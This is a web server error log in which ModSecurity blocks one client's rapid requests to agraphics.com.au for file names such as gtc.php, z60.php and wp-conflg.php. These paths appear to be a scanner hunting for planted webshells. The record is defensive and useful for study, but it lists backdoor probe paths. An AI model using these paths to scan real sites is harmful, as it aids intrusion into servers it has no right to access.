[Tue Dec 30 00:01:23.099074 2025] [:error] [pid 11453:tid 11532] [client 158.158.106.197:5112] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gtc.php"] [unique_id "aVKl07y-FXnKT7-6pt4EUAAAAJc"]
[Tue Dec 30 00:01:23.732146 2025] [:error] [pid 11453:tid 11512] [client 158.158.106.197:11313] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gtc.php"] [unique_id "aVKl07y-FXnKT7-6pt4EUQAAAIM"]
[Tue Dec 30 00:01:24.303276 2025] [:error] [pid 24344:tid 24385] [client 158.158.106.197:5086] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gtc.php"] [unique_id "aVKl1E1cesxuccozvjjt2gAAAko"]
[Tue Dec 30 00:01:24.819475 2025] [:error] [pid 11453:tid 11516] [client 158.158.106.197:5072] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gtc.php"] [unique_id "aVKl1Ly-FXnKT7-6pt4EVAAAAIc"]
[Tue Dec 30 00:01:25.385054 2025] [:error] [pid 11452:tid 11506] [client 158.158.106.197:11342] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/atx.php"] [unique_id "aVKl1ahBUmuWsliUNqSI5gAAAFg"]
[Tue Dec 30 00:01:25.943367 2025] [:error] [pid 4295:tid 4314] [client 158.158.106.197:11328] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/atx.php"] [unique_id "aVKl1TZaf4wrmKkZkFJRkAAAAZE"]
[Tue Dec 30 00:01:26.538085 2025] [:error] [pid 11452:tid 11483] [client 158.158.106.197:5095] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/atx.php"] [unique_id "aVKl1qhBUmuWsliUNqSI5wAAAEE"]
[Tue Dec 30 00:01:27.055151 2025] [:error] [pid 11540:tid 11545] [client 158.158.106.197:5076] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/atx.php"] [unique_id "aVKl1w1izvtkZ6YWaTwM4QAAAMM"]
[Tue Dec 30 00:01:27.651921 2025] [:error] [pid 24344:tid 24378] [client 158.158.106.197:11384] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/z60.php"] [unique_id "aVKl101cesxuccozvjjt3wAAAkM"]
[Tue Dec 30 00:01:28.245937 2025] [:error] [pid 24344:tid 24400] [client 158.158.106.197:11371] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/z60.php"] [unique_id "aVKl2E1cesxuccozvjjt4QAAAlc"]
[Tue Dec 30 00:01:28.788668 2025] [:error] [pid 42293:tid 42315] [client 158.158.106.197:5088] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/z60.php"] [unique_id "aVKl2ApAkHF7zSWhAzGEEQAAAVQ"]
[Tue Dec 30 00:01:29.385617 2025] [:error] [pid 42293:tid 42308] [client 158.158.106.197:11265] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/z60.php"] [unique_id "aVKl2QpAkHF7zSWhAzGEEwAAAU0"]
[Tue Dec 30 00:01:29.926371 2025] [:error] [pid 24344:tid 24377] [client 158.158.106.197:11332] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/403.php"] [unique_id "aVKl2U1cesxuccozvjjt4wAAAkI"]
[Tue Dec 30 00:01:30.449738 2025] [:error] [pid 24344:tid 24379] [client 158.158.106.197:11388] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/403.php"] [unique_id "aVKl2k1cesxuccozvjjt5gAAAkQ"]
[Tue Dec 30 00:01:31.011315 2025] [:error] [pid 24344:tid 24398] [client 158.158.106.197:11301] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/403.php"] [unique_id "aVKl201cesxuccozvjjt6AAAAlU"]
[Tue Dec 30 00:01:31.555757 2025] [:error] [pid 11452:tid 11497] [client 158.158.106.197:5108] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/403.php"] [unique_id "aVKl26hBUmuWsliUNqSI6QAAAE8"]
[Tue Dec 30 00:01:32.133075 2025] [:error] [pid 11452:tid 11488] [client 158.158.106.197:11320] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/m.php"] [unique_id "aVKl3KhBUmuWsliUNqSI6gAAAEY"]
[Tue Dec 30 00:01:32.655199 2025] [:error] [pid 11451:tid 11467] [client 158.158.106.197:11363] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/m.php"] [unique_id "aVKl3JDUmxySx0Vynm8tVwAAAAw"]
[Tue Dec 30 00:01:33.214421 2025] [:error] [pid 24344:tid 24387] [client 158.158.106.197:11280] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/m.php"] [unique_id "aVKl3U1cesxuccozvjjt7AAAAkw"]
[Tue Dec 30 00:01:33.795901 2025] [:error] [pid 11452:tid 11490] [client 158.158.106.197:11369] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/m.php"] [unique_id "aVKl3ahBUmuWsliUNqSI7AAAAEg"]
[Tue Dec 30 00:01:34.347992 2025] [:error] [pid 24344:tid 24383] [client 158.158.106.197:5065] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/themes.php"] [unique_id "aVKl3k1cesxuccozvjjt7gAAAkg"]
[Tue Dec 30 00:01:34.957784 2025] [:error] [pid 4295:tid 4321] [client 158.158.106.197:11335] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/themes.php"] [unique_id "aVKl3jZaf4wrmKkZkFJRlQAAAZg"]
[Tue Dec 30 00:01:35.502489 2025] [:error] [pid 24307:tid 24311] [client 158.158.106.197:11317] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/themes.php"] [unique_id "aVKl3y5AURuH8IsFzz6bMgAAAcE"]
[Tue Dec 30 00:01:35.996455 2025] [:error] [pid 24307:tid 24310] [client 158.158.106.197:11330] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/themes.php"] [unique_id "aVKl3y5AURuH8IsFzz6bMwAAAcA"]
[Tue Dec 30 00:01:36.485964 2025] [:error] [pid 24343:tid 24368] [client 158.158.106.197:11285] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/about.php"] [unique_id "aVKl4MvqvAa0rISAVIR9YAAAAhQ"]
[Tue Dec 30 00:01:36.970457 2025] [:error] [pid 11451:tid 11477] [client 158.158.106.197:11381] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/about.php"] [unique_id "aVKl4JDUmxySx0Vynm8tWwAAABY"]
[Tue Dec 30 00:01:37.489247 2025] [:error] [pid 24344:tid 24375] [client 158.158.106.197:5093] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/about.php"] [unique_id "aVKl4U1cesxuccozvjjt8wAAAkA"]
[Tue Dec 30 00:01:37.981306 2025] [:error] [pid 24344:tid 24396] [client 158.158.106.197:11264] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/about.php"] [unique_id "aVKl4U1cesxuccozvjjt9AAAAlM"]
[Tue Dec 30 00:01:38.481820 2025] [:error] [pid 24344:tid 24381] [client 158.158.106.197:5064] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/network/wp-conflg.php"] [unique_id "aVKl4k1cesxuccozvjjt9QAAAkY"]
[Tue Dec 30 00:01:38.999025 2025] [:error] [pid 11540:tid 11566] [client 158.158.106.197:11305] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/network/wp-conflg.php"] [unique_id "aVKl4g1izvtkZ6YWaTwM5gAAANg"]
[Tue Dec 30 00:01:39.521667 2025] [:error] [pid 4295:tid 4309] [client 158.158.106.197:11286] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/network/wp-conflg.php"] [unique_id "aVKl4zZaf4wrmKkZkFJRmwAAAYw"]
[Tue Dec 30 00:01:40.013218 2025] [:error] [pid 4295:tid 4313] [client 158.158.106.197:11309] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/network/wp-conflg.php"] [unique_id "aVKl5DZaf4wrmKkZkFJRnAAAAZA"]
[Tue Dec 30 00:01:40.553878 2025] [:error] [pid 4295:tid 4317] [client 158.158.106.197:5060] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/click.php"] [unique_id "aVKl5DZaf4wrmKkZkFJRnwAAAZQ"]
[Tue Dec 30 00:01:41.051405 2025] [:error] [pid 11451:tid 11470] [client 158.158.106.197:11350] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/click.php"] [unique_id "aVKl5ZDUmxySx0Vynm8tXwAAAA8"]
[Tue Dec 30 00:01:41.567233 2025] [:error] [pid 37389:tid 37462] [client 158.158.106.197:5091] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/click.php"] [unique_id "aVKl5cEYrQKI4GZ26QZy3AAAAQg"]
[Tue Dec 30 00:01:42.112074 2025] [:error] [pid 24307:tid 24317] [client 158.158.106.197:11298] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/click.php"] [unique_id "aVKl5i5AURuH8IsFzz6bOAAAAcc"]
[Tue Dec 30 00:01:42.645653 2025] [:error] [pid 24307:tid 24322] [client 158.158.106.197:5075] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/install.php"] [unique_id "aVKl5i5AURuH8IsFzz6bOQAAAcw"]
[Tue Dec 30 00:01:43.142059 2025] [:error] [pid 11451:tid 11457] [client 158.158.106.197:11389] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/install.php"] [unique_id "aVKl55DUmxySx0Vynm8tYQAAAAI"]
[Tue Dec 30 00:01:43.733010 2025] [:error] [pid 11540:tid 11562] [client 158.158.106.197:11300] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/install.php"] [unique_id "aVKl5w1izvtkZ6YWaTwM6gAAANQ"]
[Tue Dec 30 00:01:44.234870 2025] [:error] [pid 24344:tid 24391] [client 158.158.106.197:11365] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/install.php"] [unique_id "aVKl6E1cesxuccozvjjt-wAAAk8"]
[Tue Dec 30 00:01:44.745396 2025] [:error] [pid 24307:tid 24316] [client 158.158.106.197:5066] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lv.php"] [unique_id "aVKl6C5AURuH8IsFzz6bPAAAAcY"]
[Tue Dec 30 00:01:45.313756 2025] [:error] [pid 42293:tid 42316] [client 158.158.106.197:11315] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lv.php"] [unique_id "aVKl6QpAkHF7zSWhAzGEHQAAAVU"]
[Tue Dec 30 00:01:45.811533 2025] [:error] [pid 24344:tid 24395] [client 158.158.106.197:11307] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lv.php"] [unique_id "aVKl6U1cesxuccozvjjt_gAAAlI"]
[Tue Dec 30 00:01:46.356423 2025] [:error] [pid 24344:tid 24379] [client 158.158.106.197:5097] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lv.php"] [unique_id "aVKl6k1cesxuccozvjjuAAAAAkQ"]
[Tue Dec 30 00:01:46.837820 2025] [:error] [pid 4295:tid 4307] [client 158.158.106.197:11281] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/simple.php"] [unique_id "aVKl6jZaf4wrmKkZkFJRoAAAAYo"]
[Tue Dec 30 00:01:47.415378 2025] [:error] [pid 24344:tid 24376] [client 158.158.106.197:11283] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/simple.php"] [unique_id "aVKl601cesxuccozvjjuAwAAAkE"]
[Tue Dec 30 00:01:48.007029 2025] [:error] [pid 42293:tid 42317] [client 158.158.106.197:11386] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/simple.php"] [unique_id "aVKl7ApAkHF7zSWhAzGEHgAAAVY"]
[Tue Dec 30 00:01:48.499406 2025] [:error] [pid 24307:tid 24327] [client 158.158.106.197:5099] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/simple.php"] [unique_id "aVKl7C5AURuH8IsFzz6bPwAAAdE"]
[Tue Dec 30 00:01:49.011861 2025] [:error] [pid 11452:tid 11488] [client 158.158.106.197:11343] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/css.php"] [unique_id "aVKl7ahBUmuWsliUNqSI_QAAAEY"]
[Tue Dec 30 00:01:49.572212 2025] [:error] [pid 42293:tid 42311] [client 158.158.106.197:11314] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/css.php"] [unique_id "aVKl7QpAkHF7zSWhAzGEIAAAAVA"]
[Tue Dec 30 00:01:50.077151 2025] [:error] [pid 11453:tid 11530] [client 158.158.106.197:4999] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/css.php"] [unique_id "aVKl7ry-FXnKT7-6pt4EWgAAAJU"]
[Tue Dec 30 00:01:50.662631 2025] [:error] [pid 11452:tid 11500] [client 158.158.106.197:4929] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/css.php"] [unique_id "aVKl7qhBUmuWsliUNqSJAAAAAFI"]
[Tue Dec 30 00:01:51.180656 2025] [:error] [pid 24344:tid 24394] [client 158.158.106.197:11340] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cong.php"] [unique_id "aVKl701cesxuccozvjjuBQAAAlE"]
[Tue Dec 30 00:01:51.699267 2025] [:error] [pid 11453:tid 11525] [client 158.158.106.197:11331] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cong.php"] [unique_id "aVKl77y-FXnKT7-6pt4EWwAAAJA"]
[Tue Dec 30 00:01:52.306483 2025] [:error] [pid 11453:tid 11514] [client 158.158.106.197:5059] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cong.php"] [unique_id "aVKl8Ly-FXnKT7-6pt4EXQAAAIU"]
[Tue Dec 30 00:01:52.865764 2025] [:error] [pid 42293:tid 42308] [client 158.158.106.197:5067] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cong.php"] [unique_id "aVKl8ApAkHF7zSWhAzGEIwAAAU0"]
